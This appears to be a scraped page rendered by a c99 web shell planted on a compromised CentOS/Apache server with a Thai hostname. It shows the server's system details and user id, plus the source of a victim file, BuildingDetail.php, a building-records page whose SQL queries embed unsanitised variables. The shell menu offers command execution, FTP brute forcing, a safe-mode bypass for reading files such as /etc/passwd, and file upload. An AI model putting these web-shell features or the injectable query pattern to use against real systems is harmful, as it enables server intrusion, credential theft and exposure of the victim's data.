!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/manage_depart/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BuildingDetail.php (5.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("../include/FunctionDB.php");
include(
"../include/Function.php");
ConnectDB();
$sql ="Select * From building_tb Where BuildD_No='$BuildD_No'";
$result mysql_query($sql) or die("Error".mysql_error());
$rs mysql_fetch_array($result);

/**  โฟลเดอร์ไฟล์เอกสาร */
    
$Img1 str_replace"../"""$rs['Img1'] );
    
$doc_path $Img1."/Man_pic";
?>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<title><?=$_Config_sitename;?></title>
<script type="text/javascript" src="../js/utilities.js"></script>
<table width="574" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <th width="574" scope="col"><form action="" method="post" name="form1" id="form1">
      
      <fieldset>
      <table width="94%" border="0" align="center" cellpadding="1" cellspacing="2" bgcolor="#DDDDDD" style=" border:0px solid gray"size="12">
        <tr bgcolor="#BFD0E6">
          <td colspan="3" align="center" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Build_name]?></font></td>
        </tr>
        <tr>
          <td >   <p>&nbsp;</p>
            <p>&nbsp;</p></td>
          <td ><img src="../Man_pic/<?php echo $rs['Img1']; ?>" width="377" height="251" /></td>
          <td >&nbsp;</td>
          <td width="1%">&nbsp;</td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">เลขที่แบบก่อสร้าง
          </td>
          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><? echo $rs[BuildD_ID]?></td>
          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td width="22%" bordercolor="#CCCCCC" bgcolor="#FFFFFF">ชื่ออาคาร
          </div></td>
          <td width="71%" bordercolor="#FFFFCC" bgcolor="#FFFFFF"><? echo $rs[Build_name]?></td>
          <td width="6%" rowspan="9" bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">ประเภทอาคาร    </td>
          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><?
                        $code 
$rs [Build_type];
            
$strSQL1 "SELECT * FROM  building_type_tb   WHERE  code='$code' ";
            
$result1mysql_query($strSQL1);
                 while( 
$rs1 mysql_fetch_array($result1))
                {
                echo
"<option value=\"$rs1[code]\" ><b>$rs1[Type_name]</b></option>\n";
                } 
            
?></td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">
            ชื่อย่ออาคาร</td>
          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><? echo $rs[Short_name]?></td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">จำนวนชั้น</td>
          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><? echo $rs[Class_unit]?></td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">จำนวนห้อง
          </div></td>
          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><? echo $rs[Room_unit]?></td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">ปีที่สร้างแล้วเสร็จ
          </td>
          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">
            <?php 
       $sday 
$rs[BuildD_Yr];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
  
$m getThaiSubMonth($month);
     echo
"$day"." "."$m"." "."$year";
    
?>
          </td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">พื้นที่</td>
          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><? echo $rs[Area]?> ตรม</td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">ค่าก่อสร้าง
          </td>
          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><? echo number_format($rs['BuildD_Pr'],2,'.',',');  ?> บาท</td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">แหล่งเงิน
          </div></td>
          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"> <?php
                        $MoneyS_C
$rs [MoneyS_C];
            
$strSQL1 "SELECT * FROM money_source_tb  WHere MoneyS_C='$MoneyS_C ' ";
            
$result1mysql_query($strSQL1);
                 while( 
$rs1 mysql_fetch_array($result1))
                {
                echo
"<option value=\"$rs1[MoneyS_C]\" ><b>$rs1[MoneyS_M]</b></option>\n";
                } 
            
?></td>
        </tr>
        <tr bgcolor="#eeeeee">
          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">รายละเอียด</td>
          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><? echo nl2br($rs[Description])?></td>
          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
        </tr>
        <tr bgcolor="#BFD0E6">
          <td height="20" colspan="3" align="center" bgcolor="#FFFFFF"><input type="button" name="Submit" value=" ปิดหน้าต่าง" onclick="javascript:parent.close();" class="button" />
        </td>
        </tr>
      </table>
      </fieldset>         
    </form></th>
  </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0105 ]--